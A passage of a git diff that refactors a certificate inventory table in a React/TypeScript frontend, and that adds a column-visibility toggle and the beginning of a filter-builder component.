+                          </Badge>
+                        </TableCell>
+                      )}
+                      <TableCell>
+                        <div className="flex items-center justify-end gap-2">
+                          <div
+                            className={`transition-opacity ${(() => {
+                              if (!canShowAutoRenewalIcon) return "";
+                              if (isAutoRenewalEnabled) return "opacity-100";
+                              return "opacity-0 group-hover:opacity-100";
+                            })()}`}
+                          >
+                            {canShowAutoRenewalIcon &&
+                              (() => {
+                                const canEditCertificate = permission.can(
+                                  ProjectPermissionCertificateActions.Edit,
+                                  subject(ProjectPermissionSub.Certificates, {
+                                    commonName: certificate.commonName,
+                                    altNames: certificate.altNames?.split(",").map((s) => s.trim()),
+                                    serialNumber: certificate.serialNumber,
+                                    metadata: certificate.metadata
+                                  })
+                                );
+
+                                const tooltipText = (() => {
                                   if (hasFailed && certificate.renewalError) {
                                     return `Auto-renewal failed: ${certificate.renewalError}`;
                                   }
                                   if (isAutoRenewalEnabled) {
-                                    const expiryDate = new Date(certificate.notAfter);
-                                    const now = new Date();
                                     const daysUntilExpiry = Math.ceil(
-                                      (expiryDate.getTime() - now.getTime()) / (24 * 60 * 60 * 1000)
+                                      (new Date(certificate.notAfter).getTime() -
+                                        new Date().getTime()) /
+                                        MS_PER_DAY
                                     );
                                     const daysUntilRenewal = Math.max(
                                       0,
@@ -533,200 +919,62 @@ export const CertificatesTable = ({ handlePopUpOpen, externalFilter }: Props) =>
                                     return `Auto-renews in ${daysUntilRenewal}d`;
                                   }
                                   return "Set auto renewal";
-                                })()}
-                              >
-                                <button
-                                  type="button"
-                                  className={(() => {
-                                    if (hasFailed) return "pr-1 text-red-500 hover:text-red-400";
-                                    return "pr-1 text-primary-500 hover:text-primary-400";
-                                  })()}
-                                  aria-label="Certificate auto-renewal"
-                                  onClick={(e) => {
-                                    e.stopPropagation();
-                                    if (!canEditCertificate) return;
-                                    if (hasFailed) return;
-
-                                    handlePopUpOpen("manageRenewal", {
-                                      certificateId: certificate.id,
-                                      commonName: originalDisplayName,
-                                      profileId: certificate.profileId || "",
-                                      renewBeforeDays: certificate.renewBeforeDays || 7,
-                                      ttlDays: Math.ceil(
-                                        (new Date(certificate.notAfter).getTime() -
-                                          new Date(certificate.notBefore).getTime()) /
-                                          (24 * 60 * 60 * 1000)
-                                      ),
-                                      notAfter: certificate.notAfter,
-                                      renewalError: certificate.renewalError,
-                                      renewedFromCertificateId:
-                                        certificate.renewedFromCertificateId,
-                                      renewedByCertificateId: certificate.renewedByCertificateId
-                                    });
-                                  }}
-                                >
-                                  <FontAwesomeIcon icon={faClockRotateLeft} />
-                                </button>
-                              </Tooltip>
-                            );
-                          })()}
-                      </div>
-                      <DropdownMenu>
-                        <DropdownMenuTrigger asChild className="rounded-lg">
-                          <IconButton
-                            variant="plain"
-                            ariaLabel="More options"
-                            className="h-max bg-transparent p-0"
-                          >
-                            <FontAwesomeIcon size="lg" icon={faEllipsis} />
-                          </IconButton>
-                        </DropdownMenuTrigger>
-                        <DropdownMenuContent align="start" className="p-1">
-                          <ProjectPermissionCan
-                            I={ProjectPermissionCertificateActions.Read}
-                            a={subject(ProjectPermissionSub.Certificates, {
-                              commonName: certificate.commonName,
-                              altNames: certificate.altNames?.split(",").map((s) => s.trim()),
-                              serialNumber: certificate.serialNumber,
-                              friendlyName: certificate.friendlyName,
-                              metadata: certificate.metadata
-                            })}
-                          >
-                            {(isAllowed) => (
-                              <DropdownMenuItem
-                                className={twMerge(
-                                  !isAllowed && "pointer-events-none cursor-not-allowed opacity-50"
-                                )}
-                                onClick={(e) => {
-                                  e.stopPropagation();
-                                  handlePopUpOpen("certificateExport", {
-                                    certificateId: certificate.id,
-                                    serialNumber: certificate.serialNumber
-                                  });
-                                }}
-                                disabled={!isAllowed}
-                                icon={<FontAwesomeIcon icon={faFileExport} />}
-                              >
-                                Export Certificate
-                              </DropdownMenuItem>
-                            )}
-                          </ProjectPermissionCan>
-                          {isLegacyTemplatesEnabled && (
-                            <ProjectPermissionCan
-                              I={ProjectPermissionCertificateActions.Read}
-                              a={subject(ProjectPermissionSub.Certificates, {
-                                commonName: certificate.commonName,
-                                altNames: certificate.altNames?.split(",").map((s) => s.trim()),
-                                serialNumber: certificate.serialNumber,
-                                friendlyName: certificate.friendlyName,
-                                metadata: certificate.metadata
-                              })}
-                            >
-                              {(isAllowed) => (
-                                <DropdownMenuItem
-                                  className={twMerge(
-                                    !isAllowed &&
-                                      "pointer-events-none cursor-not-allowed opacity-50"
-                                  )}
-                                  onClick={(e) => {
-                                    e.stopPropagation();
-                                    handlePopUpOpen("certificateCert", {
-                                      serialNumber: certificate.serialNumber
-                                    });
-                                  }}
-                                  disabled={!isAllowed}
-                                  icon={<FontAwesomeIcon icon={faEye} />}
-                                >
-                                  View Details
-                                </DropdownMenuItem>
-                              )}
-                            </ProjectPermissionCan>
-                          )}
-                          {(() => {
-                            const canManageRenewal =
-                              certificate.profileId &&
-                              certificate.hasPrivateKey !== false &&
-                              !certificate.renewedByCertificateId &&
-                              !isRevoked &&
-                              !isExpired &&
-                              !hasFailed &&
-                              !isExpiringWithinDay;
-
-                            if (!canManageRenewal) return null;
-
-                            return (
-                              <ProjectPermissionCan
-                                I={ProjectPermissionCertificateActions.Edit}
-                                a={subject(ProjectPermissionSub.Certificates, {
-                                  commonName: certificate.commonName,
-                                  altNames: certificate.altNames?.split(",").map((s) => s.trim()),
-                                  serialNumber: certificate.serialNumber,
-                                  friendlyName: certificate.friendlyName,
-                                  metadata: certificate.metadata
-                                })}
+                                })();
+
+                                return (
+                                  <Tooltip>
+                                    <TooltipTrigger asChild>
+                                      <button
+                                        type="button"
+                                        className="cursor-pointer"
+                                        aria-label="Certificate auto-renewal"
+                                        onClick={(e) => {
+                                          e.stopPropagation();
+                                          if (!canEditCertificate) return;
+                                          if (hasFailed) return;
+
+                                          handlePopUpOpen("manageRenewal", {
+                                            certificateId: certificate.id,
+                                            commonName: originalDisplayName,
+                                            profileId: certificate.profileId || "",
+                                            renewBeforeDays: certificate.renewBeforeDays || 7,
+                                            ttlDays: Math.ceil(
+                                              (new Date(certificate.notAfter).getTime() -
+                                                new Date(certificate.notBefore).getTime()) /
+                                                MS_PER_DAY
+                                            ),
+                                            notAfter: certificate.notAfter,
+                                            renewalError: certificate.renewalError,
+                                            renewedFromCertificateId:
+                                              certificate.renewedFromCertificateId,
+                                            renewedByCertificateId:
+                                              certificate.renewedByCertificateId
+                                          });
+                                        }}
+                                      >
+                                        <Badge variant={hasFailed ? "danger" : "info"} isSquare>
+                                          <ClockIcon className="size-3" />
+                                        </Badge>
+                                      </button>
+                                    </TooltipTrigger>
+                                    <TooltipContent>{tooltipText}</TooltipContent>
+                                  </Tooltip>
+                                );
+                              })()}
+                          </div>
+                          <DropdownMenu>
+                            <DropdownMenuTrigger asChild>
+                              <IconButton
+                                variant="ghost"
+                                size="xs"
+                                onClick={(e) => e.stopPropagation()}
                               >
-                                {(isAllowed) => {
-                                  return (
-                                    <DropdownMenuItem
-                                      className={twMerge(
-                                        !isAllowed &&
-                                          "pointer-events-none cursor-not-allowed opacity-50"
-                                      )}
-                                      onClick={(e) => {
-                                        e.stopPropagation();
-                                        const notAfterDate = new Date(certificate.notAfter);
-                                        const notBeforeDate = certificate.notBefore
-                                          ? new Date(certificate.notBefore)
-                                          : new Date(
-                                              notAfterDate.getTime() - 365 * 24 * 60 * 60 * 1000
-                                            );
-                                        const ttlDays = Math.max(
-                                          1,
-                                          Math.ceil(
-                                            (notAfterDate.getTime() - notBeforeDate.getTime()) /
-                                              (24 * 60 * 60 * 1000)
-                                          )
-                                        );
-                                        handlePopUpOpen("manageRenewal", {
-                                          certificateId: certificate.id,
-                                          commonName: certificate.commonName,
-                                          profileId: certificate.profileId,
-                                          renewBeforeDays: certificate.renewBeforeDays,
-                                          ttlDays,
-                                          notAfter: certificate.notAfter,
-                                          renewalError: certificate.renewalError,
-                                          renewedFromCertificateId:
-                                            certificate.renewedFromCertificateId,
-                                          renewedByCertificateId: certificate.renewedByCertificateId
-                                        });
-                                      }}
-                                      disabled={!isAllowed}
-                                      icon={<FontAwesomeIcon icon={faRedo} />}
-                                    >
-                                      {isAutoRenewalEnabled
-                                        ? "Manage auto renewal"
-                                        : "Enable auto renewal"}
-                                    </DropdownMenuItem>
-                                  );
-                                }}
-                              </ProjectPermissionCan>
-                            );
-                          })()}
-                          {(() => {
-                            const canDisableRenewal =
-                              certificate.profileId &&
-                              certificate.hasPrivateKey !== false &&
-                              !certificate.renewedByCertificateId &&
-                              !isRevoked &&
-                              !isExpired &&
-                              !isExpiringWithinDay &&
-                              isAutoRenewalEnabled;
-
-                            if (!canDisableRenewal) return null;
-
-                            return (
+                                <MoreHorizontalIcon />
+                              </IconButton>
+                            </DropdownMenuTrigger>
+                            <DropdownMenuContent align="end" sideOffset={2}>
                               <ProjectPermissionCan
-                                I={ProjectPermissionCertificateActions.Edit}
+                                I={ProjectPermissionCertificateActions.Read}
                                 a={subject(ProjectPermissionSub.Certificates, {
                                   commonName: certificate.commonName,
                                   altNames: certificate.altNames?.split(",").map((s) => s.trim()),
@@ -737,39 +985,22 @@ export const CertificatesTable = ({ handlePopUpOpen, externalFilter }: Props) =>
                               >
                                 {(isAllowed) => (
                                   <DropdownMenuItem
-                                    className={twMerge(
-                                      !isAllowed &&
-                                        "pointer-events-none cursor-not-allowed opacity-50"
-                                    )}
-                                    onClick={async (e) => {
+                                    isDisabled={!isAllowed}
+                                    onClick={(e) => {
                                       e.stopPropagation();
-                                      await handleDisableAutoRenewal(
-                                        certificate.id,
-                                        certificate.commonName
-                                      );
+                                      handlePopUpOpen("certificateExport", {
+                                        certificateId: certificate.id,
+                                        serialNumber: certificate.serialNumber
+                                      });
                                     }}
-                                    disabled={!isAllowed}
-                                    icon={<FontAwesomeIcon icon={faBan} />}
                                   >
-                                    Disable auto renewal
+                                    <FileOutputIcon />
+                                    Export Certificate
                                   </DropdownMenuItem>
                                 )}
                               </ProjectPermissionCan>
-                            );
-                          })()}
-                          {(() => {
-                            const canRenew =
-                              (certificate.profileId || certificate.caId) &&
-                              certificate.hasPrivateKey !== false &&
-                              !certificate.renewedByCertificateId &&
-                              !isRevoked &&
-                              !isExpired;
-
-                            if (!canRenew) return null;
-
-                            return (
                               <ProjectPermissionCan
-                                I={ProjectPermissionCertificateActions.Edit}
+                                I={ProjectPermissionCertificateActions.Read}
                                 a={subject(ProjectPermissionSub.Certificates, {
                                   commonName: certificate.commonName,
                                   altNames: certificate.altNames?.split(",").map((s) => s.trim()),
@@ -780,69 +1011,237 @@ export const CertificatesTable = ({ handlePopUpOpen, externalFilter }: Props) =>
                               >
                                 {(isAllowed) => (
                                   <DropdownMenuItem
-                                    className={twMerge(
-                                      !isAllowed &&
-                                        "pointer-events-none cursor-not-allowed opacity-50"
-                                    )}
+                                    isDisabled={!isAllowed}
                                     onClick={(e) => {
                                       e.stopPropagation();
-                                      handlePopUpOpen("renewCertificate", {
-                                        certificateId: certificate.id,
-                                        commonName: certificate.commonName
+                                      handlePopUpOpen("certificateCert", {
+                                        serialNumber: certificate.serialNumber
                                       });
                                     }}
-                                    disabled={!isAllowed}
-                                    icon={<FontAwesomeIcon icon={faRedo} />}
                                   >
-                                    Renew Now
+                                    <EyeIcon />
+                                    View Details
                                   </DropdownMenuItem>
                                 )}
                               </ProjectPermissionCan>
-                            );
-                          })()}
-                          {certificate.status === CertStatus.ACTIVE &&
-                            !certificate.renewedByCertificateId &&
-                            certificate.source !== CertSource.Discovered && (
-                              <ProjectPermissionCan
-                                I={ProjectPermissionPkiSyncActions.Edit}
-                                a={ProjectPermissionSub.PkiSyncs}
-                              >
-                                {(isAllowed) => (
-                                  <DropdownMenuItem
-                                    className={twMerge(
-                                      !isAllowed &&
-                                        "pointer-events-none cursor-not-allowed opacity-50"
+                              {(() => {
+                                const canManageRenewal =
+                                  certificate.profileId &&
+                                  certificate.hasPrivateKey !== false &&
+                                  !certificate.renewedByCertificateId &&
+                                  !isRevoked &&
+                                  !isExpired &&
+                                  !hasFailed &&
+                                  !isExpiringWithinDay;
+
+                                if (!canManageRenewal) return null;
+
+                                return (
+                                  <ProjectPermissionCan
+                                    I={ProjectPermissionCertificateActions.Edit}
+                                    a={subject(ProjectPermissionSub.Certificates, {
+                                      commonName: certificate.commonName,
+                                      altNames: certificate.altNames
+                                        ?.split(",")
+                                        .map((s) => s.trim()),
+                                      serialNumber: certificate.serialNumber,
+                                      friendlyName: certificate.friendlyName,
+                                      metadata: certificate.metadata
+                                    })}
+                                  >
+                                    {(isAllowed) => (
+                                      <DropdownMenuItem
+                                        isDisabled={!isAllowed}
+                                        onClick={(e) => {
+                                          e.stopPropagation();
+                                          const notAfterDate = new Date(certificate.notAfter);
+                                          const notBeforeDate = certificate.notBefore
+                                            ? new Date(certificate.notBefore)
+                                            : new Date(notAfterDate.getTime() - 365 * MS_PER_DAY);
+                                          const ttlDays = Math.max(
+                                            1,
+                                            Math.ceil(
+                                              (notAfterDate.getTime() - notBeforeDate.getTime()) /
+                                                MS_PER_DAY
+                                            )
+                                          );
+                                          handlePopUpOpen("manageRenewal", {
+                                            certificateId: certificate.id,
+                                            commonName: certificate.commonName,
+                                            profileId: certificate.profileId,
+                                            renewBeforeDays: certificate.renewBeforeDays,
+                                            ttlDays,
+                                            notAfter: certificate.notAfter,
+                                            renewalError: certificate.renewalError,
+                                            renewedFromCertificateId:
+                                              certificate.renewedFromCertificateId,
+                                            renewedByCertificateId:
+                                              certificate.renewedByCertificateId
+                                          });
+                                        }}
+                                      >
+                                        <RefreshCwIcon />
+                                        {isAutoRenewalEnabled
+                                          ? "Manage auto renewal"
+                                          : "Enable auto renewal"}
+                                      </DropdownMenuItem>
                                     )}
-                                    onClick={(e) => {
-                                      e.stopPropagation();
-                                      handlePopUpOpen("managePkiSyncs", {
-                                        certificateId: certificate.id,
-                                        commonName: certificate.commonName
-                                      });
-                                    }}
-                                    disabled={!isAllowed}
-                                    icon={<FontAwesomeIcon icon={faLink} />}
+                                  </ProjectPermissionCan>
+                                );
+                              })()}
+                              {(() => {
+                                const canDisableRenewal =
+                                  certificate.profileId &&
+                                  certificate.hasPrivateKey !== false &&
+                                  !certificate.renewedByCertificateId &&
+                                  !isRevoked &&
+                                  !isExpired &&
+                                  !isExpiringWithinDay &&
+                                  isAutoRenewalEnabled;
+
+                                if (!canDisableRenewal) return null;
+
+                                return (
+                                  <ProjectPermissionCan
+                                    I={ProjectPermissionCertificateActions.Edit}
+                                    a={subject(ProjectPermissionSub.Certificates, {
+                                      commonName: certificate.commonName,
+                                      altNames: certificate.altNames
+                                        ?.split(",")
+                                        .map((s) => s.trim()),
+                                      serialNumber: certificate.serialNumber,
+                                      friendlyName: certificate.friendlyName,
+                                      metadata: certificate.metadata
+                                    })}
                                   >
-                                    Manage PKI Syncs
-                                  </DropdownMenuItem>
+                                    {(isAllowed) => (
+                                      <DropdownMenuItem
+                                        isDisabled={!isAllowed}
+                                        onClick={async (e) => {
+                                          e.stopPropagation();
+                                          await handleDisableAutoRenewal(
+                                            certificate.id,
+                                            certificate.commonName
+                                          );
+                                        }}
+                                      >
+                                        <BanIcon />
+                                        Disable auto renewal
+                                      </DropdownMenuItem>
+                                    )}
+                                  </ProjectPermissionCan>
+                                );
+                              })()}
+                              {(() => {
+                                const canRenew =
+                                  (certificate.profileId || certificate.caId) &&
+                                  certificate.hasPrivateKey !== false &&
+                                  !certificate.renewedByCertificateId &&
+                                  !isRevoked &&
+                                  !isExpired;
+
+                                if (!canRenew) return null;
+
+                                return (
+                                  <ProjectPermissionCan
+                                    I={ProjectPermissionCertificateActions.Edit}
+                                    a={subject(ProjectPermissionSub.Certificates, {
+                                      commonName: certificate.commonName,
+                                      altNames: certificate.altNames
+                                        ?.split(",")
+                                        .map((s) => s.trim()),
+                                      serialNumber: certificate.serialNumber,
+                                      friendlyName: certificate.friendlyName,
+                                      metadata: certificate.metadata
+                                    })}
+                                  >
+                                    {(isAllowed) => (
+                                      <DropdownMenuItem
+                                        isDisabled={!isAllowed}
+                                        onClick={(e) => {
+                                          e.stopPropagation();
+                                          handlePopUpOpen("renewCertificate", {
+                                            certificateId: certificate.id,
+                                            commonName: certificate.commonName
+                                          });
+                                        }}
+                                      >
+                                        <RefreshCwIcon />
+                                        Renew Now
+                                      </DropdownMenuItem>
+                                    )}
+                                  </ProjectPermissionCan>
+                                );
+                              })()}
+                              {certificate.status === CertStatus.ACTIVE &&
+                                !certificate.renewedByCertificateId &&
+                                certificate.source !== CertSource.Discovered && (
+                                  <ProjectPermissionCan
+                                    I={ProjectPermissionPkiSyncActions.Edit}
+                                    a={ProjectPermissionSub.PkiSyncs}
+                                  >
+                                    {(isAllowed) => (
+                                      <DropdownMenuItem
+                                        isDisabled={!isAllowed}
+                                        onClick={(e) => {
+                                          e.stopPropagation();
+                                          handlePopUpOpen("managePkiSyncs", {
+                                            certificateId: certificate.id,
+                                            commonName: certificate.commonName
+                                          });
+                                        }}
+                                      >
+                                        <LinkIcon />
+                                        Manage PKI Syncs
+                                      </DropdownMenuItem>
+                                    )}
+                                  </ProjectPermissionCan>
                                 )}
-                              </ProjectPermissionCan>
-                            )}
-                          {(() => {
-                            const caType = caCapabilityMap[certificate.caId];
-                            const supportsRevocation =
-                              !caType ||
-                              caSupportsCapability(caType, CaCapability.REVOKE_CERTIFICATES);
-
-                            if (
-                              !supportsRevocation ||
-                              isRevoked ||
-                              certificate.source === CertSource.Discovered
-                            ) {
-                              return null;
-                            }
-
-                            return (
+                              {(() => {
+                                const caType = caCapabilityMap[certificate.caId];
+                                const supportsRevocation =
+                                  !caType ||
+                                  caSupportsCapability(caType, CaCapability.REVOKE_CERTIFICATES);
+
+                                if (
+                                  !supportsRevocation ||
+                                  isRevoked ||
+                                  certificate.source === CertSource.Discovered
+                                ) {
+                                  return null;
+                                }
+
+                                return (
+                                  <ProjectPermissionCan
+                                    I={ProjectPermissionCertificateActions.Delete}
+                                    a={subject(ProjectPermissionSub.Certificates, {
+                                      commonName: certificate.commonName,
+                                      altNames: certificate.altNames
+                                        ?.split(",")
+                                        .map((s) => s.trim()),
+                                      serialNumber: certificate.serialNumber,
+                                      friendlyName: certificate.friendlyName,
+                                      metadata: certificate.metadata
+                                    })}
+                                  >
+                                    {(isAllowed) => (
+                                      <DropdownMenuItem
+                                        variant="danger"
+                                        isDisabled={!isAllowed}
+                                        onClick={(e) => {
+                                          e.stopPropagation();
+                                          handlePopUpOpen("revokeCertificate", {
+                                            certificateId: certificate.id
+                                          });
+                                        }}
+                                      >
+                                        <BanIcon />
+                                        Revoke Certificate
+                                      </DropdownMenuItem>
+                                    )}
+                                  </ProjectPermissionCan>
+                                );
+                              })()}
                               <ProjectPermissionCan
                                 I={ProjectPermissionCertificateActions.Delete}
                                 a={subject(ProjectPermissionSub.Certificates, {
@@ -855,82 +1254,62 @@ export const CertificatesTable = ({ handlePopUpOpen, externalFilter }: Props) =>
                               >
                                 {(isAllowed) => (
                                   <DropdownMenuItem
-                                    className={twMerge(
-                                      !isAllowed &&
-                                        "pointer-events-none cursor-not-allowed opacity-50"
-                                    )}
+                                    variant="danger"
+                                    isDisabled={!isAllowed}
                                     onClick={(e) => {
                                       e.stopPropagation();
-                                      handlePopUpOpen("revokeCertificate", {
-                                        certificateId: certificate.id
+                                      handlePopUpOpen("deleteCertificate", {
+                                        certificateId: certificate.id,
+                                        commonName: certificate.commonName
                                       });
                                     }}
-                                    disabled={!isAllowed}
-                                    icon={<FontAwesomeIcon icon={faBan} />}
                                   >
-                                    Revoke Certificate
+                                    <Trash2Icon />
+                                    Delete Certificate
                                   </DropdownMenuItem>
                                 )}
                               </ProjectPermissionCan>
-                            );
-                          })()}
-                          <ProjectPermissionCan
-                            I={ProjectPermissionCertificateActions.Delete}
-                            a={subject(ProjectPermissionSub.Certificates, {
-                              commonName: certificate.commonName,
-                              altNames: certificate.altNames?.split(",").map((s) => s.trim()),
-                              serialNumber: certificate.serialNumber,
-                              friendlyName: certificate.friendlyName,
-                              metadata: certificate.metadata
-                            })}
-                          >
-                            {(isAllowed) => (
-                              <DropdownMenuItem
-                                className={twMerge(
-                                  !isAllowed && "pointer-events-none cursor-not-allowed opacity-50"
-                                )}
-                                onClick={(e) => {
-                                  e.stopPropagation();
-                                  handlePopUpOpen("deleteCertificate", {
-                                    certificateId: certificate.id,
-                                    commonName: certificate.commonName
-                                  });
-                                }}
-                                disabled={!isAllowed}
-                                icon={<FontAwesomeIcon icon={faTrash} />}
-                              >
-                                Delete Certificate
-                              </DropdownMenuItem>
-                            )}
-                          </ProjectPermissionCan>
-                        </DropdownMenuContent>
-                      </DropdownMenu>
-                    </Td>
-                  </Tr>
-                );
-              })}
-          </TBody>
-        </Table>
-        {!isPending && (data?.totalCount || 0) >= PER_PAGE_INIT && (
-          <Pagination
-            count={data?.totalCount || 0}
-            page={page}
-            perPage={perPage}
-            onChangePage={(newPage) => setPage(newPage)}
-            onChangePerPage={(newPerPage) => setPerPage(newPerPage)}
-          />
-        )}
-        {!isPending && !certificates.length && (
-          <EmptyState
-            title={
-              data?.certificates?.length
+                            </DropdownMenuContent>
+                          </DropdownMenu>
+                        </div>
+                      </TableCell>
+                    </TableRow>
+                  );
+                })}
+            </TableBody>
+          </Table>
+          {!isPending && (data?.totalCount || 0) >= PER_PAGE_INIT && (
+            <Pagination
+              count={data?.totalCount || 0}
+              page={page}
+              perPage={perPage}
+              onChangePage={(newPage) => setPage(newPage)}
+              onChangePerPage={(newPerPage) => setPerPage(newPerPage)}
+            />
+          )}
+        </>
+      )}
+      {!isPending && !certificates.length && (
+        <Empty className="border">
+          <EmptyHeader>
+            <EmptyTitle>
+              {isTableFiltered || appliedSearch
                 ? "No certificates match search..."
-                : "No certificates have been issued"
-            }
-            icon={data?.certificates?.length ? faSearch : faCertificate}
-          />
-        )}
-      </TableContainer>
+                : "No certificates have been issued"}
+            </EmptyTitle>
+          </EmptyHeader>
+        </Empty>
+      )}
+
+      <SaveViewModal
+        isOpen={isSaveViewOpen}
+        onOpenChange={setIsSaveViewOpen}
+        projectId={currentProject?.id ?? ""}
+        filters={pendingFilters.length > 0 ? pendingFilters : appliedFilters}
+        onViewCreated={(viewId, viewFilters) => {
+          handleSelectView(viewId, viewFilters);
+        }}
+      />
     </div>
   );
 };
diff --git a/frontend/src/pages/cert-manager/CertificatesPage/components/ColumnVisibilityToggle.tsx b/frontend/src/pages/cert-manager/CertificatesPage/components/ColumnVisibilityToggle.tsx
new file mode 100644
index 00000000000..2ad475185bb
--- /dev/null
+++ b/frontend/src/pages/cert-manager/CertificatesPage/components/ColumnVisibilityToggle.tsx
@@ -0,0 +1,123 @@
+import { Columns3Icon } from "lucide-react";
+
+import {
+  DropdownMenu,
+  DropdownMenuCheckboxItem,
+  DropdownMenuContent,
+  DropdownMenuLabel,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger,
+  IconButton
+} from "@app/components/v3";
+
+export type ColumnDef = {
+  key: string;
+  label: string;
+  defaultVisible: boolean;
+};
+
+export const INVENTORY_COLUMNS: ColumnDef[] = [
+  { key: "sanCn", label: "SAN / CN", defaultVisible: true },
+  { key: "serialNumber", label: "Serial Number", defaultVisible: true },
+  { key: "enrollmentMethod", label: "Enrollment Method", defaultVisible: true },
+  { key: "status", label: "Status", defaultVisible: true },
+  { key: "health", label: "Health", defaultVisible: true },
+  { key: "issuedAt", label: "Issued", defaultVisible: true },
+  { key: "expiresAt", label: "Expires", defaultVisible: true },
+  { key: "ca", label: "CA", defaultVisible: true },
+  { key: "profile", label: "Profile", defaultVisible: true },
+  { key: "algorithm", label: "Algorithm", defaultVisible: true },
+  { key: "source", label: "Source", defaultVisible: false }
+];
+
+const STORAGE_KEY_PREFIX = "cert-inventory-columns";
+
+const getStorageKey = (projectId: string) => `${STORAGE_KEY_PREFIX}:${projectId}`;
+
+export const getDefaultVisibleColumns = (projectId: string): Set<string> => {
+  try {
+    const stored = localStorage.getItem(getStorageKey(projectId));
+    if (stored) {
+      return new Set(JSON.parse(stored) as string[]);
+    }
+  } catch {
+    // ignore
+  }
+  return new Set(INVENTORY_COLUMNS.filter((c) => c.defaultVisible).map((c) => c.key));
+};
+
+export const saveVisibleColumns = (columns: Set<string>, projectId: string) => {
+  try {
+    localStorage.setItem(getStorageKey(projectId), JSON.stringify([...columns]));
+  } catch {
+    // ignore
+  }
+};
+
+type Props = {
+  visibleColumns: Set<string>;
+  onChange: (columns: Set<string>) => void;
+  projectId: string;
+};
+
+export const ColumnVisibilityToggle = ({ visibleColumns, onChange, projectId }: Props) => {
+  const allColumnKeys = INVENTORY_COLUMNS.map((c) => c.key);
+  const allVisible = visibleColumns.size === INVENTORY_COLUMNS.length;
+
+  const MIN_COLUMN = "sanCn";
+
+  const handleToggleAll = () => {
+    const next = allVisible ? new Set<string>([MIN_COLUMN]) : new Set(allColumnKeys);
+    onChange(next);
+    saveVisibleColumns(next, projectId);
+  };
+
+  const handleToggle = (key: string) => {
+    const next = new Set(visibleColumns);
+    if (next.has(key)) {
+      if (next.size <= 1) return;
+      next.delete(key);
+    } else {
+      next.add(key);
+    }
+    onChange(next);
+    saveVisibleColumns(next, projectId);
+  };
+
+  return (
+    <DropdownMenu>
+      <DropdownMenuTrigger asChild>
+        <div className="relative">
+          <IconButton
+            variant={!allVisible ? "project" : "outline"}
+            size="md"
+            aria-label="Toggle columns"
+          >
+            <Columns3Icon />
+          </IconButton>
+        </div>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent sideOffset={2} className="w-52" align="end">
+        <DropdownMenuLabel>Columns</DropdownMenuLabel>
+        <DropdownMenuCheckboxItem
+          checked={allVisible}
+          onCheckedChange={handleToggleAll}
+          onSelect={(e) => e.preventDefault()}
+        >
+          {allVisible ? "Hide All" : "Show All"}
+        </DropdownMenuCheckboxItem>
+        <DropdownMenuSeparator />
+        {INVENTORY_COLUMNS.map((col) => (
+          <DropdownMenuCheckboxItem
+            key={col.key}
+            checked={visibleColumns.has(col.key)}
+            onCheckedChange={() => handleToggle(col.key)}
+            onSelect={(e) => e.preventDefault()}
+          >
+            {col.label}
+          </DropdownMenuCheckboxItem>
+        ))}
+      </DropdownMenuContent>
+    </DropdownMenu>
+  );
+};
diff --git a/frontend/src/pages/cert-manager/CertificatesPage/components/FilterBuilder.tsx b/frontend/src/pages/cert-manager/CertificatesPage/components/FilterBuilder.tsx
new file mode 100644
index 00000000000..19fbcce6839
--- /dev/null
+++ b/frontend/src/pages/cert-manager/CertificatesPage/components/FilterBuilder.tsx
@@ -0,0 +1,343 @@
+import { format } from "date-fns";
+import { CalendarIcon, PlusIcon, Trash2Icon } from "lucide-react";
+
+import {
+  Button,
+  Calendar,
+  FilterableSelect,
+  IconButton,
+  Input,
+  Popover,
+  PopoverContent,
+  PopoverTrigger,
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue
+} from "@app/components/v3";
+
+import { FILTER_FIELDS, type FilterFieldDefinition, type FilterRule } from "./inventory-types";
+
+type Props = {
+  rules: FilterRule[];
+  onChange: (rules: FilterRule[]) => void;
+  onApply: () => void;
+  onCancel: () => void;
+  onClearAll: () => void;
+  onSaveView?: () => void;
+  dynamicFieldOptions?: Record<string, { value: string; label: string }[]>;
+};
+
+const getFieldDef = (
+  fieldKey: string,
+  dynamicOptions?: Record<string, { value: string; label: string }[]>
+): FilterFieldDefinition => {
+  const baseDef = FILTER_FIELDS.find((f) => f.key === fieldKey);
+  if (!baseDef) return FILTER_FIELDS[0];
+
+  if (dynamicOptions && dynamicOptions[fieldKey]) {
+    return { ...baseDef, options: dynamicOptions[fieldKey] };
+  }
+  return baseDef;
+};
+
+const parseLocalDate = (dateStr: string): Date => {
+  const [year, month, day] = dateStr.split("-").map(Number);
+  return new Date(year, month - 1, day);
+};
+
+const DatePickerInput = ({
+  value,
+  onChange
+}: {
+  value: string | null;
+  onChange: (val: string) => void;
+}) => {
+  const selectedDate = value ? parseLocalDate(value) : undefined;
+
+  return (
+    <Popover>
+      <PopoverTrigger asChild>
+        <Button
+          variant="outline"
+          size="md"
+          data-empty={!value}
+          className="w-full justify-start text-left font-normal data-[empty=true]:text-muted"
+        >
+          <CalendarIcon className="mr-1.5 size-3.5" />
+          {selectedDate ? format(selectedDate, "MM/dd/yyyy") : <span>Pick a date</span>}
+        </Button>
+      </PopoverTrigger>
+      <PopoverContent align="start" className="w-auto p-0">
+        <Calendar
+          mode="single"
+          selected={selectedDate}
+          onSelect={(date) => {
+            if (date) {
+              onChange(format(date, "yyyy-MM-dd"));
+            }
+          }}
+        />
+      </PopoverContent>
+    </Popover>
+  );
+};
+
+const isRuleEmpty = (rule: FilterRule): boolean => {
+  if (rule.value === null || rule.value === undefined || rule.value === "") return true;
+  if (Array.isArray(rule.value) && rule.value.length === 0) return true;
+  return false;
+};
+
+const FilterRow = ({
+  rule,
+  onUpdate,
+  onRemove,
+  dynamicFieldOptions: dynOpts
+}: {
+  rule: FilterRule;
+  onUpdate: (updated: FilterRule) => void;
+  onRemove: () => void;
+  dynamicFieldOptions?: Record<string, { value: string; label: string }[]>;
+}) => {
+  const fieldDef = getFieldDef(rule.field, dynOpts);
+
+  const handleFieldChange = (newField: string) => {
+    const newDef = getFieldDef(newField, dynOpts);
+    onUpdate({
+      ...rule,
+      field: newField,
+      operator: newDef.operators[0]?.value || "is",
+      value: newDef.valueType === "multi-select" ? [] : null
+    });
+  };
+
+  const renderValueInput = () => {
+    const options = fieldDef.options || [];
+
+    switch (fieldDef.valueType) {
+      case "multi-select": {
+        const currentValues = Array.isArray(rule.value) ? rule.value : [];
+        const selectedOptions = currentValues
+          .map((v) => {
+            const opt = options.find((o) => o.value === v);
+            return opt ? { value: opt.value, label: opt.label } : null;
+          })
